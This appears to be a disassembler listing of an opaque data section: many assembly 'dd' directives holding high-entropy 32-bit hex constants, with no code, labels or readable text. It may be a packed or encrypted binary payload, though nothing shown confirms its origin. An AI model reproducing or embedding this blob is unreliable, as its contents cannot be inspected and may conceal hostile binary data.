97C13C90h dd 0D3F90029h, 2621B64Bh, 39007C72h, 576D012Eh, 7C24B453h dd 5E4830E1h, 2CA391D1h, 0D1D7376h, 0BBC710Ch, 1029CE0h dd 4D5C7F30h, 2EF22873h, 0F0A4A833h, 360202E4h, 564B90EDh dd 0FD02D0E2h, 9C780876h, 0F9E8010Bh, 618E8BDEh, 6B2E071Ch dd 16A00020h, 0DCAE9B5Bh, 0FE6E2669h, 648F09F8h, 0B3BBA407h dd 3B8EE8Ah, 0F938379Ch, 0E0991EA7h, 657FE8CBh, 6054C440h dd 480CFA82h, 6E4B0C86h, 1E3C1C98h, 6834FD01h, 7BF5DFFAh dd 2F2A1061h, 2E238Ch, 0C112F6Fh, 2D026C16h, 3A1FB1E1h dd 6D886864h, 0B5A63C28h, 2DFD2280h, 0D6E2D9F2h, 0F8403826h dd 0F60A00A4h, 0C820985Ah, 554BBF03h, 0C7B6F261h, 98EC185Dh dd 3BB8BC4Dh, 12A70900h, 2FAA1003h, 0DE7008B8h, 2B503F63h dd 0B860100Ah, 3431238h, 0ECE52C0Fh, 52594829h, 2A02F840h dd 0A6CE95DFh, 37953058h, 986D808Ch, 938911C0h, 0DA4A1F02h dd 33A65B8h, 0E1CCD75Ch, 0B98C2D48h, 81145A42h, 68703688h dd 5A6111h, 3E89AEE6h, 8486FE2h, 0EA8C56E8h, 0DF8225D5h dd 0F465F825h, 8C001D74h, 9D85CFAFh, 5A38A3Bh, 2A8BD203h dd 0C9A4C0EDh, 0C51C7081h, 0E7C34527h, 0A06E497Bh, 1E8E71AAh dd 0C1BCEBC2h, 0EF6DCEC3h, 540898ABh, 0BAAD21h, 6BCC49EBh dd 0DA94E62Ch, 5CF4B711h, 861473Bh, 2088566Eh, 2C0EB1E8h dd 0A04ED914h, 27497803h, 0FB5701EFh, 709F6FBAh, 0F7D77045h dd 47B7B006h, 6040B1C9h, 85E7494Fh, 943A4BF2h, 0D1709F28h dd 0EA46C006h, 88070F21h, 0A6A59A34h, 0ACD9C78Dh, 21C0FE08h dd 0A8347FAEh, 0F37C24h, 59C72DEFh, 1729F0EDh, 88E7A431h dd 3083EE1Eh, 73386D69h, 0ED1D7801h, 81D498DBh, 8231C212h dd 76F50171h, 88FD3C48h, 340079A8h, 0C529B919h, 0FF32F6CEh dd 0F3EAB450h, 0C8C4A888h, 31F20087h, 0C40DB08Bh, 72370B68h dd 0EB63286Fh, 705105EDh, 5E5B3Dh, 0F6156C94h, 29C02F2Dh dd 12B76ECBh, 9161C175h, 60822A96h, 0AF340BEAh, 100009F2h dd 142A9EB1h, 381C0054h, 0CC0DF268h, 0E500CFA4h, 0EF172B57h dd 0E6FBB63h, 0A62EF66Eh, 7CE83494h, 1594008Ch, 425440CBh dd 12303E9Bh, 46A22184h, 376A0F5Bh, 0F0E3228Bh, 11B018E3h dd 2B0120CFh, 6572DBFEh, 10225A1Bh, 888E62Ah, 6AFB661Ah dd 67F43002h, 0E8104126h, 0D1D821A1h, 0AC0119FBh, 0A19E742Ch dd 42DC68ECh, 3C030870h, 0E45009C2h, 0F7315020h, 98A3185Bh dd 562A6CB0h, 1DDC5E52h, 0A00694E7h, 11AB4Fh, 0C52DB7CAh dd 0EB92DE31h, 8AE2933h, 702100C0h, 50042DBFh, 9C18E61Bh dd 3350871Dh, 90F0EE17h, 84EB0C58h, 12188C59h, 9F1D50A0h dd 27081E0Ah, 2B089C31h, 0EFB80092h, 3A58280Ah, 0A3906664h dd 0C42DB660h, 3CC63123h, 0BE006DC4h, 7BFF2A2Dh, 13DF1F83h dd 0FE73D087h, 0D325C400h, 13EB2E5Fh, 4ECBEDB7h, 7989C404h dd 0EBC02CB0h, 0B346BA7Fh, 0AF0F5B22h, 80C7EBB8h, 31E14211h dd 0B32D01ABh, 2B3D66C8h, 40C8A86Ch, 942DB946h, 0A21233FCh dd 207F4062h, 302A9CB3h, 0B7C94C1Ch, 7160E64Dh, 20B8C802h dd 73D5091Bh, 12007C7Fh, 7DEB811Ah, 50290132h, 0E6ED49Ah dd 0AE67CD92h, 8AB95007h dd 0CC98F6ECh, 56FA2500h, 9757966Bh, 904F7DAAh, 1FC14658h dd 0EEE83483h, 0A7C03091h, 772E347Ah, 744A3732h, 4F5990D9h dd 4B2853AEh, 0BE469899h, 872A097Ah, 0D81CBAEAh, 2AA1B007h dd 1FC01B18h, 1C77E61h, 3FEC90E5h, 603A60F6h, 1E8C7D18h dd 0D1B6EBC4h, 805788D3h, 19EBBCB3h, 9300ADDBh, 29CD8F2Ah dd 4813E340h, 8A815C65h, 20B1A0EBh, 91ED72ACh, 9787B8B8h dd 218EFA2Ah, 9FE04E5Ch, 0A6E5C22Ah, 2008B100h, 1790E28Dh dd 0E9C80B7Bh, 1C1D7349h, 60AB0308h, 4492464Bh, 56750E00h dd 67F605FCh, 0A4E61F65h, 4C0643Dh, 814D6090h, 18BEFB8h dd 384B168Ch, 30AAFF84h, 0A89682h, 337ACFD8h, 38F69F5Bh dd 3F9F4899h, 0E23C6800h, 3E58B5F5h, 9C51BC04h, 0FF88204Eh dd 809CF9C3h, 1810E59Dh, 0C0899B46h, 302CE458h, 1F67CD9h dd 8AF27046h, 96C5B0FBh, 203B9748h, 0EB037923h, 0F817E5E4h dd 6274DB6Ah, 9A4D50B7h, 7E447047h, 6858A960h, 50A5743Eh dd 0E34C0EE0h, 77A2358h, 0B4B9EBBFh, 0AE38ABh, 29FEBB7h dd 17FACF16h, 5DE58407h, 0D33270B2h, 3EC008Fh, 0B0C0B5C8h dd 0ED688A23h, 0E8AC5959h, 6B0B3508h, 3F4C703Eh, 19D2328h dd 31C22DBCh, 88C318B6h, 2D01C46Bh, 361F3D89h, 0A1E1E425h dd 94F74421h, 0B1711B06h, 312CA4E6h, 35892483h, 91D097C5h dd 0CC918054h, 3BBD31C3h, 0EC8203DEh, 6E122841h, 5511A09Dh dd 0C0C7409Dh, 1E2FA67Bh, 3A194100h, 0D0B86488h, 0CC0C295Eh dd 187679F0h, 17140716h, 905DCF30h, 4829A7B6h, 50F649h dd 8805FB2Ah, 0A42555h, 0D2E09384h, 5DCD830Bh, 0A1C48654h dd 2DB8048Ch, 62D631C6h, 0C06F20C2h, 2601B02Dh, 0B7A3ADB6h dd 0E98270F2h, 6E059CE5h, 8282BC84h, 9830BD58h, 0EA88132Ah dd 0E46C39C2h, 34392AA0h, 0F615826h, 20A0C57h, 0E0075C1Fh dd 0F83F8538h, 0E83120E9h, 96E0C48Dh, 0C6B048h, 576F2A5Fh dd 1856F8D0h, 424F3FAh, 0A00D60B4h, 544EF1AFh, 26C0C188h dd 3077EE2h, 395339Dh, 581ABD78h, 51B8E96Ah, 18577144h dd 0FF5600EEh, 725B17DDh, 9094035Dh, 0F6449C1Eh, 0CF419630h dd 0D0D29FF9h, 0C0DD40EAh, 2DBA01E3h, 18A631C0h, 0C26988C5h dd 503E2D00h, 1D0712F1h, 5DDD1FCFh, 0F5F2491Eh, 0B1EC2C2Fh dd 99009531h, 1C2BC1FAh, 2E884F66h, 0BC90305Fh, 0ACA44DC3h dd 0A5231C63h, 4F584655h, 5A0071ADh, 5D1E2BA0h, 4D570169h dd 0B520E087h, 73C3F0E3h, 6C4A8CA0h, 770151DFh, 27050A79h dd 59D20D8h, 0F48D3B07h, 1906FC2h, 74BC061Ch, 8B706D15h dd 0EC980E95h, 67D1234h, 90CC38FBh, 69DF2418h, 53EFB738h dd 7F2388A4h, 0B8EBC607h, 5A62E3F4h, 0EBBEB120h, 65BC001Dh dd 888D8C1Bh, 48253261h, 0BF0091A9h, 34088918h, 0CE9E7099h dd 80ADE918h, 0B3CB340Eh, 0FDE3819Dh, 94303233h, 0C11E8C7Ch dd 46F9BBEBh, 0AC006122h, 0A972EBB9h, 76EC7C26h, 0CC022C2Dh dd 7B465E7Ch, 0D7670076h, 41103EFAh, 0C3012068h, 17C1E0D8h dd 0D9C0B78Ah, 0A96C1331h, 39300789h, 0B8C6162Bh, 84F850B0h dd 0C3745982h, 11A4D96Ch, 18BCF8h, 22CF95B9h, 0D6F250A7h dd 0F4596017h, 5E104821h, 287166F5h, 0C4885462h, 963484C1h dd 0C47386F5h, 347BAA81h, 5487F4DFh, 1851E48h, 3DE83C88h dd 58726EDBh, 0E434F684h, 0E0A701B4h, 0D3605544h, 71FD905h dd 0F7124DB8h, 91609C30h, 3C3804CFh, 80BA06E0h, 7D0B3134h dd 851F6802h, 617BE601h, 9B18BCF4h, 0EA252A7Fh, 25496CAh dd 0C92AA3AEh, 0B8E78279h, 1BAB0442h, 0FE51BAB8h, 3C34200h dd 9096758Ch, 431800F2h, 35EFD023h, 0FA00493Bh, 57B5B4BDh dd 1C667CDh, 2BF768FEh, 739CA313h, 3079A2A8h, 0C600E4DCh dd 0E659D60Eh, 0E1179060h, 3F569C8h, 688B4178h, 18066501h dd 6711A796h, 60A93E41h, 3853D981h, 0FC2533CBh, 50464A2h dd 91556CE8h, 7B676081h, 9B03D4h, 0EB68D0D1h, 2FF69269h dd 0EA496B67h, 40B328A2h, 1D33CD00h, 5C7D042h, 850EF3EFh dd 0ED808194h, 4A890071h, 275D122Ch, 80100859h, 0D51E33CFh dd 1038DBD2h, 0EBBD00B0h, 44A79F30h, 0E17DE2D1h, 54E3EA1Ah dd 0DBB84081h, 2FEC8091h, 465ECC94h, 5C60FFCh, 18ACBF14h dd 0F56467Eh, 0AF1C9D4Bh, 33F6C4D2h, 604A3888h, 1C05295Fh dd 22030F18h, 0BA196F03h, 0BCD68862h, 30990281h, 682974E6h dd 60379CABh, 785EF381h, 59DD1CEAh, 0B20B7DCh, 1B2D7440h dd 0F6D1D820h, 0BF175FBDh, 34204F75h, 0F8DE9F0Ch, 8DBA24C1h dd 20050358h, 0F9C889C0h, 0C4FC1B42h, 0D1AE703Fh, 0A2DC6390h dd 0CF1930C1h, 963CE301h, 0EDE668ABh, 65E86E00h, 0A95BA327h dd 0E2E8453Ch, 9318AB02h, 1353002Eh, 19BD5540h, 0DD026CECh dd 12ED626Bh, 494AB6Ah, 9380E54Ch, 6C3FA31h, 11C59ED1h dd 0FF00216Ch, 1F82293Dh, 19BAD43h, 87C83215h, 33EC2EF4h dd 30BEA2E0h, 73EC317Bh, 93900CB2h, 0F4A06BFEh, 72494A3Ah dd 0FA70010h, 92893F5Dh, 0C75EF808h, 0E0839919h, 51DAA858h dd 7E01DEF6h, 82FA4A6Dh, 1DE0BEAFh, 98B80016h, 9E8168B7h dd 0C898D90Eh, 5A7150B9h, 4A00FF18h, 9119084Ch, 2DE9E570h dd 0B01B6A69h, 38619C99h, 0E51060C8h, 0E6FF2757h, 7D009804h dd 741B00EFh, 0F73608ACh, 18C39616h, 0A625A4E5h, 0B77A0C38h dd 9E403A39h, 0B905A8ACh, 0AE31BF2Dh, 6A07888Eh, 10F32DC1h dd 1031F4D1h, 0ADB59D01h, 6699C432h, 4262B642h, 79805924h dd 674187Eh, 0CD7C8034h, 112AA87Dh, 492AD04Eh, 9B02946Fh dd 64991568h, 65F4E1FBh, 80369210h, 0E5102701h, 0D7D0F8A1h dd 77F17C78h, 0ECF02872h, 0E1028CBDh, 0DCDBED26h, 19E478D2h dd 0F8742F5Dh, 0A9A460F2h, 19BE30CBh, 0D4E8F800h, 0D90703F9h dd 4DD2FE82h, 9879C5C0h, 6903F205h, 0F4497BF3h, 8560104Fh dd 9B1E1C2Ch, 3815C094h, 37C31AA5h, 1F1C5007h, 0EDF35333h dd 0C73AF43h, 99E802F8h, 668D656Ah, 6BF0908Ch, 3151B661h dd 0A82CD7EFh, 71764719h, 85EEEC63h, 0F6F9BEFCh, 28B1C466h dd 67185471h, 0F4112503h, 1137641Fh, 22170B70h, 463090BEh dd 348502C3h, 0E77E7095h, 7CA9008Ch, 0D77A4B34h, 0CBD3A600h dd 2EC7B4DFh, 4F74AB2Dh, 23A82FA9h, 0EAC6007Fh, 3829CD55h dd 8C0B8E0h, 7704D8F7h, 9D8425EBh, 1F313C00h, 0B4A2FDA0h dd 9C9134DBh, 0C12DBB80h, 448CBE31h, 0C3036CBFh, 0B8F68B2Dh dd 0DA319A74h, 0FB6A1110h, 36CD0F2Ch, 70A83E3Dh, 0A8612900h dd 47AB450Dh, 57A0A8F8h, 1FD11E05h, 0D31300C7h, 20818861h dd 153ACF07h, 3560E844h, 532EF673h, 0BA2394D0h, 832A9501h dd 70639AEAh, 2A9DB480h, 5570F08Bh, 8AF51F09h, 5C3C02D5h dd 39F08003h, 0AA66F17Ch, 8B5C194h, 6418ACh, 77D55A0Fh dd 9F746333h, 39DCAC9Ch, 8F5C5BCEh, 0BED4E17h, 50E1BAFEh dd 90C9B10Bh, 0FE031534h, 77CC3AC5h, 11D4268Ch, 8674414Ch dd 0C9DFE4A3h, 0B3675603h, 0F8AD8A4Eh, 29AE181h, 0A9633B4Ah dd 6851BF4Fh, 96180179h, 4B834202h, 0E0ACD250h, 81B980F0h dd 990BD34Fh, 802AAE8Ah, 0D5A70219h, 0E0F000E2h, 26112824h dd 8A38B564h, 38CA30FBh, 0BBE30EC6h, 516978A4h, 0B7B82A01h dd 1B66109Fh, 0FA79F068h, 2F025A9Dh, 802354h, 904B3BC8h dd 40491733h, 44F425A0h, 672D10F8h, 48EC3B61h, 3B280BC4h dd 0B68C3ACh, 519B6010h dd 34E540C2h, 18AB02E2h, 5B008B77h, 62D6A865h, 59E632h dd 5DF039D3h, 0D0A23897h, 0DDC23B17h, 5480049Bh, 37ECE79Dh dd 0BF5D661Fh, 467C842Ch, 4CEE0080h, 0FF281684h, 0E0185827h dd 6775984h, 2010725Ah, 102D8815h, 912C17E2h, 909C805Bh dd 17C7824h, 3E148BAFh, 24B44FA1h, 1A7FA63Ch, 0EF069B90h dd 0D814DD39h, 84B92078h, 0C04D870Ah, 7B00DFF6h, 5BF4B7C8h dd 3AAA5AE9h, 3562374h, 8486FBC5h, 171CC0E4h, 0C8BE45DAh dd 0B6696A06h, 8C68D699h, 8040193Ch, 1A49964h, 0B236EFCFh dd 0A9208BE3h, 9C08C66Bh, 624656C0h, 4FA0B006h, 76C081BBh dd 0A84D5B05h, 5DDE00B1h, 7C419ACFh, 130050AEh, 727FB98Ch dd 926C8F65h, 709909A0h, 0F058AF35h, 0EB473209h, 0CDCD80B7h dd 4C6A541Fh, 0D382F471h, 34C4C01Eh, 92D13E38h, 5817DCA3h dd 63C84CCBh, 0F652F7C0h, 44109530h, 0B8406403h, 0EFB718BFh dd 53F93173h, 0C7D5A20Bh, 0E64C8212h, 74BC2A1Bh, 62000446h dd 0B5B06C85h, 0C507E859h, 16AC1E6Dh, 0F710220Bh, 7C645CEEh dd 3D41FF44h, 1200C351h, 89C255A9h, 28074585h, 0C1830610h dd 11B52900h, 3B12C001h, 0CD860FD9h, 52028FE1h, 11BDE68Bh dd 665F0F1Eh, 5E5ED98Ch, 0F61470A1h, 0F1804C1h, 89358A84h dd 3335308Dh, 0C995FF1Eh, 0E90C0D63h, 51231708h, 488400FAh dd 5B674AE3h, 0E8166A63h, 20230E03h, 8940C359h, 8104244Ch dd 1A084466h, 0A1D7C021h, 0C293F10Ch, 89EB3803h, 3F2A81BDh dd 1F62B6Ch, 338F82EFh, 0B2343D31h, 2C35DE7Fh, 398C5076h dd 8911C358h, 80168844h, 1EC35040h, 890DCAF3h, 0DB12D9B5h dd 9DB32907h, 31850CF1h, 8BFD6185h, 536EC064h, 0C8C35B61h dd 448C5C89h, 53004319h, 14668BC3h, 0A14F82D9h, 75BE09C6h dd 2ED81C65h, 201C2362h, 150A04DBh, 802D563Ch, 0B185C7BBh dd 3B3BBC9h, 10507275h, 34222972h, 0D53AC65Fh, 0C5071B23h dd 68607743h, 28C03B55h, 3D2C9D09h, 0C5F0BD81h, 4407D00Ch dd 342885D3h, 14239C2Eh, 0BD09D101h, 44241659h, 0B232A385h dd 290680B5h, 9120CD8Dh, 64319056h, 5A615274h, 5489C8C3h dd 4217448Ch, 0CBC35201h, 2BB32EADh, 8213A920h, 1561A102h dd 81669000h, 99AE32F6h, 5D305562h, 4689E4C3h, 1D226Ch dd 8DC35545h, 4A3036BDh, 0AB135601h, 0E9F5DACDh, 98009B57h dd 0E1689E1h, 60B471A9h, 0F2BB6621h, 6BAD0D6h, 8F0FA61Bh dd 3161802Dh, 7C533B5h, 1AB28DABh, 0AE903h, 0B7225A25h dd 0FCA6EA0Eh, 4D26137Dh, 0A9122361h, 0E5BD4521h, 208BE3A8h dd 52772F8Dh, 1F4975FAh, 0E279421Fh, 6FF3016h, 0BD31FD06h dd 0C4A084Dh, 9B3BF66h, 398C5650h, 8913C35Eh, 461A3874h dd 61C35600h, 4BB4B241h, 6736487Bh, 8C19E8h, 3B3FA7F3h dd 0FE84E22h, 0CE631DC0h, 371244h, 39F19231h, 0FADEE6C7h dd 6604307Dh, 0F9BD4EBEh, 0DF8BA3C3h, 22E9FE20h, 0A3FF71F8h dd 0F01BA96h, 4EBC1E2h, 5E53D490h, 0E950F3F4h, 0B4007D36h dd 69B703ECh, 9D586Fh, 0FEA92DA6h, 858D8C87h, 4640B949h dd 7C26F093h, 64AC09A0h, 1A312B5Ch, 0E43390h, 6CF84A6Ah dd 3F64B4F5h, 0EDC850A4h, 3E1A5071h, 11050DBFh, 4E0E41A7h dd 0C01D88ACh, 0C2FE6AAFh, 8CF03502h, 6074CA20h, 24EA5DEFh dd 8472794h, 0FC3006BDh, 911413D8h, 1919D9E3h, 80FEF8C9h dd 0EDBEF785h, 7DBD120Ch, 1D660823h, 5C08305h, 51258430h dd 0D0630264h, 507DEA3Fh, 89F8F180h, 86C82404h, 0C35FC357h dd 387CF497h, 0C3570147h, 9B973921h, 959120BFh, 0AA1F8D29h dd 0EC8B4C39h, 0DE7C8C15h, 0A1852909h, 197A9032h, 2599841Dh dd 0FD181571h, 0EE9D518h, 1C7A115h, 76FCDB5Eh, 0C0304CD9h dd 0A70031D2h, 0D89D8DDDh, 0C60613AFh, 852F91D2h, 0BC2BD359h dd 84C20127h, 0ABC5A7A9h, 6EE60AFh, 9CF8188h, 271F857Ah dd 1419FF82h, 13C40305h, 405D5D8Ch, 984DE929h, 43E837A3h dd 0ED81C20Fh, 1D274AE2h, 801D11B9h, 67489FBBh, 0D6303A52h dd 5E86493h, 8F2DC606h, 4686087Dh, 8BF90101h, 640BA59Dh dd 7A0EEF94h, 0CE271B4Dh, 9F010BE3h, 801D1163h, 11F9A9EEh dd 0E9FD05CFh, 42A7187h, 513D988h, 0C382DB0Bh, 0A6971A94h dd 58821611h, 776232A6h, 83F78980h, 125122BDh, 84EC8DA8h dd 88D83111h, 8B0DC102h, 0A067E9FBh, 5F2E970Fh, 1E2051A8h dd 2A2CFBDCh, 13154674h, 0A8012E32h, 3D950160h, 4A04C155h dd 61031D15h, 357527E9h, 880B1260h, 0CC569Dh, 4FD66171h dd 0F266C13Ah, 0FDBF7B02h, 93786099h, 81408453h, 9EBA44DFh dd 41836848h, 88B94FE9h, 33B6C718h, 60AA8319h, 2AF91BC0h dd 0A6E1B38Bh, 23810EC1h, 0E95CFEFFh, 18147134h, 2989A003h dd 8C66801Fh, 1067DB5Ch, 0F61230E5h, 0A0FD83C3h, 0BC36394Dh dd 218E037Eh, 2C20DEECh, 2D016212h, 404E1FDDh, 0B9C01C88h dd 0C1D43Bh, 0C93FB78h, 0B501FCABh, 2E3ED14Dh, 5D609E90h dd 16B1C880h, 0A03276Eh, 40FDE866h, 0EE194587h, 2813AD00h dd 622717ECh, 0F8B40129h, 0D3B952A6h, 0E6622E9h, 3F8653h dd 64EE9E0Bh, 8A440006h, 0D017DA9h, 5F184D7Eh, 602F05E9h dd 63CA1EF9h, 0E12F9A1Eh, 0B8E04CCDh, 2420D9D2h, 11A83011h dd 22E04C08h, 61602402h, 0D32406A9h, 310A10B0h, 8802418Dh dd 2E006222h, 0EDFDEB2Ch, 7831778h, 723902E1h, 54F923B5h dd 70E661E0h, 255CF9B8h, 0FF08965Ch, 71E40B0Fh, 1A117D1Dh dd 26C4F80h, 0F6248296h, 85087125h, 0B60F0128h, 0DABAF9D8h dd 0FD9F5071h, 12C3EEA2h, 86F1BD33h, 25203E6Ah, 0E8C11305h dd 23E33A04h, 0E0EF001Ah, 0FA6E9A01h, 118C2048h, 0F7020D65h dd 0D82BF5E2h, 17448047h, 97A26560h, 8B93DA04h, 0A98750F0h dd 0F825BD08h, 0F288589Ah, 0C9CE6EB7h, 0E85EDC12h, 9700E491h dd 5C797D11h, 0D64300AEh, 58B12AE9h, 3902A23Fh, 7F5A10D2h dd 708402Dh, 95E48AAh, 5F928B25h, 936DF109h, 0CC2BC2C1h dd 8A063D20h, 21CD9B02h, 0BE030F44h, 5D2941Dh, 4841EA31h dd 13613CC9h, 40AA830Fh, 66EE81F2h, 70496407h, 6A424900h dd 26B0549h, 5A1FC16Bh, 0FB4955BAh, 612E0944h, 0C0001B23h dd 20302C6Dh, 0DDB3248Eh, 7444A420h, 0B8001846h, 45D4AF0Dh dd 0E6128166h, 1D5D69D6h, 0BB8ECEC1h, 22200BB4h, 0E0D0F260h dd 5A3E078Dh, 0A461FE8Ah, 0D4B48753h, 8B5E031Eh, 4358E2F9h dd 0FC5AED02h, 0DFB853Eh, 1AC80CCFh, 28DEA0CFh, 308D7F1h dd 5CBB60B4h, 66D02E12h, 42F588BAh, 14648CD0h, 0B0CE930h dd 0A55052h, 7C4DA4D2h, 78B92931h, 0B1990373h, 41BD2B06h dd 0C1832CAFh, 1C4676E0h, 0A9A7CD00h, 13335250h, 0F919616h dd 0BE003F97h, 0E1511526h, 0A8526769h, 86E4Ah, 309640FCh dd 960E8EAh, 10B19D23h, 8E7A99CAh, 250F6144h, 451AF1BFh dd 317D4782h, 381197D3h, 0B3B77B76h, 5BF80575h, 75ED0EF5h dd 32C32D11h, 60510061h, 0B281BD29h, 48B2EEC9h, 0D33831B1h dd 4A61E41Ch, 853505E9h, 0A5C08BF9h, 0C18F201Eh, 5C602141h dd 0BB49A75h, 18D6D51Bh, 1180FAB7h, 9D89F188h, 341C5A81h dd 8806CB7Fh, 2BF3C01Bh, 0F50A11DFh, 0A6D052C7h, 4530550Bh dd 0BBBE601Ch, 7C4F66C4h, 7156FF32h, 0DC010ED9h, 682BCE00h dd 0BE3879AFh, 54CA07F8h, 0B5B25FA4h, 0F17ED269h, 0F548C436h dd 8C19E8h, 79C1B7CBh dd 8E0F1608h, 30661FA1h, 8D1389FDh, 0E8292A01h, 799F488h dd 0E8A49014h, 97098C16h, 5603EC8h, 0A0507159h, 84510D1h dd 580CB87Dh, 0B3801DE9h, 0FF90D43Ch, 9C00C1FEh, 33EC0439h dd 0F6D1505h, 0F976DC6Fh, 3202F8C9h, 0F366890Fh, 20DBD19h dd 1EC59563h, 1BE2E073h, 0FEF0BA31h, 0E94E0A2Fh, 892ACB2h dd 23020FE5h, 0F2151BDh, 360140F4h, 8D0703FCh, 88964E65h dd 0D564C117h, 2A61F260h, 9D041423h, 8852EDBDh, 8D03A609h dd 0FFB9F68Eh, 0F1FBB8C3h, 0AF90120h, 9373CB3Dh, 0D8BC21E4h dd 0EBB9FC61h, 0BF1815D1h, 0F88B3F13h, 0DA80929Bh, 7436998Bh dd 4F20B71Eh, 0E11828A4h, 5AE95ECBh, 0D1411084h, 148C14E8h dd 0B5C18B2Dh, 8C1CE8h, 0A02A9E2Fh, 0BCEE264Ah, 1073B058h dd 354F0EEDh, 49250481h, 0A8E62411h, 46D1B5A0h, 77337616h dd 0C620908Dh, 61578908h, 5F3A016Dh, 4DE13C50h, 0CBBCA5h dd 99BC4D64h, 85892381h, 584AB15Dh, 67D52A56h, 40EF9F8Dh dd 0BA7F7122h, 535E174Fh, 0DCE40088h, 19B501EFh, 5C357DBCh dd 4600BE6Fh, 9190C682h, 8404E4B2h, 20959D01h, 0F3053109h dd 81B9A419h, 8D3C1D41h, 905F5709h, 50F96B80h, 0A70CBE60h dd 14737204h, 0A7617FDAh, 671944AAh, 85FA1500h, 20C95A67h dd 63490FC0h, 7674E702h, 736AF941h, 4D757846h, 17BF433Ah dd 0A717D534h, 81953021h, 6A2E7378h, 3C01F45Dh, 82CABEBBh dd 2AFCCF22h, 75F35A8Bh, 0A085F6C3h, 0B7176E4h, 4626B26Bh dd 0CDEEB54Ch, 8C421646h, 4C321BE2h, 43E42621h, 0C4C51687h dd 3EAFF322h, 0DB13433h, 0D108D982h, 1D8B62A9h, 60A36D12h dd 306410DCh, 66268802h, 0D1BB67BFh, 0A19DE4A5h, 0B8B53986h dd 0AB4F0DCDh, 0CDF095E9h, 0B22B031Ah, 31A9A785h, 84427DE5h dd 0EF419D8Bh, 0A58CC010h, 0A10C0396h, 1D10E999h, 45E6587Bh dd 0B99C4100h, 0A2B32535h, 7C74E505h, 6B33AEEh, 870F5606h dd 0BF023B05h, 3D9AC002h, 43E8D25Eh, 0ACA349B4h, 0A6F40156h dd 0E81B36D6h, 7D1D8313h, 0AB9520h, 0D2B7C642h, 8C44B0EEh dd 8209D47Dh, 44F96A10h, 0B6340045h, 5E2B1928h, 0A32DBD83h dd 3109911Bh, 0DE75A3ACh, 0AE957504h, 51820960h, 7D8B0B0Dh dd 5E5E7004h, 0C7F0BF42h, 4A3E8B85h, 0E04C4D29h, 21AC0BDEh dd 0E9536208h, 0F78B8A2Bh, 0FC104E32h, 143A8C15h, 8D5F124Ch dd 0E6813430h, 0A65516BFh, 2AF99D4Fh, 8F04606Ah, 8157D236h dd 6905D177h, 118D8FFCh, 1CAE82C8h, 0EBE43740h, 0DC330315h dd 0A5D28C1Ah, 4E2AC4A8h, 0E5087E02h, 59304822h, 7E19A5D8h dd 0F2C39E8h, 0C0DB6FE2h, 69DADDB5h, 0CFB803B4h, 286AC9Ah dd 32C19DB2h, 80E72853h, 0F1C6E5A4h, 387B0005h, 0A067360Ah dd 6C2FF761h, 5FC9828Ah, 0B949C05Eh, 0A1880965h, 0AA47610Bh dd 1C621444h, 2E4098F0h, 3D024E9h, 1D467C5Ch, 7431500h dd 19BCCD4Dh, 99E0D716h, 8356E800h, 7DD3B860h, 233F0972h dd 0DB40E18Dh, 66E0B061h, 32CF810Ch, 4F29900Fh, 1DD7E23h dd 897754BBh, 0E02C15BDh, 0C1F76267h, 8B71E459h, 441DA166h dd 6912C4C9h, 26C9F61Ah, 384010E9h, 0DB737h, 8CC25F64h dd 7533DC1Ah, 47894000h, 0B2C4EC8h, 7FC3588Bh, 8C1CE8h dd 0D4059A4h, 13607AC7h, 0E3E9CDEBh, 0FEEF2501h, 23FC568Dh dd 0AD046F8h, 37616078h, 0C83B3DB0h, 9BEE154Fh, 2E13C7BCh dd 0E8C58A45h, 5F99504h, 0FB897B1Eh, 6C18D82Bh, 4500FCA0h dd 0BDC007E0h, 568A8Bh, 0C9474053h, 0F4A9B64h, 58A28352h dd 0F75D2AE5h, 7EBF5DA0h, 11EBAA02h, 56241C89h, 723ADC03h dd 9D09099Bh, 5B2CC259h, 25C4316Fh, 0CF45392Fh, 0D6D8489h dd 2C47B009h, 0E0631544h, 0EF2980C4h, 54902CF3h, 570307B4h dd 1636056Ah, 0CC278566h, 2412207h, 5B5DF830h, 0C50521AFh dd 0AF261D31h, 3C9302F1h, 564450C6h, 1CB18FA0h, 0E5425E81h dd 79134AFEh, 0AA990179h, 0FED20210h, 0F8E6C980h, 5924798h dd 0BC0EFA86h, 2E713CFEh, 6A5F806Ch, 391A6DCEh, 921EEF13h dd 2913A44Bh, 1914D17Fh, 0F9BF1940h, 783D9B58h, 0F0007499h dd 76072635h, 0CB6C7DC2h, 2969F1F0h, 82641763h, 0C500CAB5h dd 4EB92B9Bh, 88D48F07h, 0E8F5C116h, 6D213098h, 0D6A075Bh dd 0B3001B23h, 27962158h, 0B6EFE2BBh, 0C3029801h, 0C12CB52Bh dd 0F24F6D1Bh, 0B204FA6Fh, 0B8CD504Ah, 311A2D64h, 6010A8EEh dd 5D658D29h, 75986121h, 4498A75Bh, 0D5BA6017h, 0BE0E0166h dd 27A5546h, 3851EE2Bh, 0E0181879h, 0B5F2D01Ch, 1B09E88Ch dd 2BA3001Eh, 0E03B352Fh, 604F7E9Dh, 0BE8BAD8Ch, 5E6142F8h dd 2B114CDBh, 18A26553h, 6536130h, 0E9BFF455h, 0A1811B29h dd 8B463471h, 8D9BC04Ah, 54F2C980h, 3F5BD16Ch, 859B7F52h dd 0BB519280h, 0F117723Dh, 0F012F219h, 8BE4E8A5h, 285B5D31h dd 8B144FBCh, 8B856F9h, 3B23619Dh, 16C18D08h, 0B7C262A7h dd 4B2CAC1Dh, 48929C47h, 19E2AAE3h, 41BA230h, 31B021EAh dd 1FF9E8h, 8483CCC8h, 0FCDB5248h, 81A800ABh, 606ED8D7h dd 0C9905E35h, 0CE1EE927h, 0A4BE05D3h, 9925C58Fh, 301C344Dh dd 0D79D144Fh, 0F8A82E6Dh, 35453B00h, 2F20D759h, 0E0821FBFh dd 0A690926Fh, 3D3FE019h, 1283722Eh, 0E25CE829h, 1EF3002Eh dd 63B314B0h, 8321B191h, 358DD79Ch, 81403DD0h, 0A574043Ah dd 0C0256D85h, 15C4DD67h, 8D096009h, 126DD095h, 4939BD01h dd 320161A1h, 20D6B460h, 0D20B534h, 0E04A8828h, 0D5860ED9h dd 0DE21F1DAh, 60849313h, 0DD5F8DB7h, 0DF817740h, 774534DBh dd 0D11A910Ah, 3F231817h, 72C897BCh, 58192910h, 5B700BCAh dd 33E090E8h, 0E3B60031h, 9EEA1618h, 0AA02A83Fh, 952948D9h dd 49F5569Dh, 5E52F7F2h, 3114E248h, 802A68E3h, 0DDC97E71h dd 12E8F606h, 88FA8B46h, 4378F269h, 7E27A30Eh, 2E303A7h dd 0E505D033h, 7C790B5Dh, 0F05EFBDh, 0B3B0271Dh, 0FD8CFFF7h 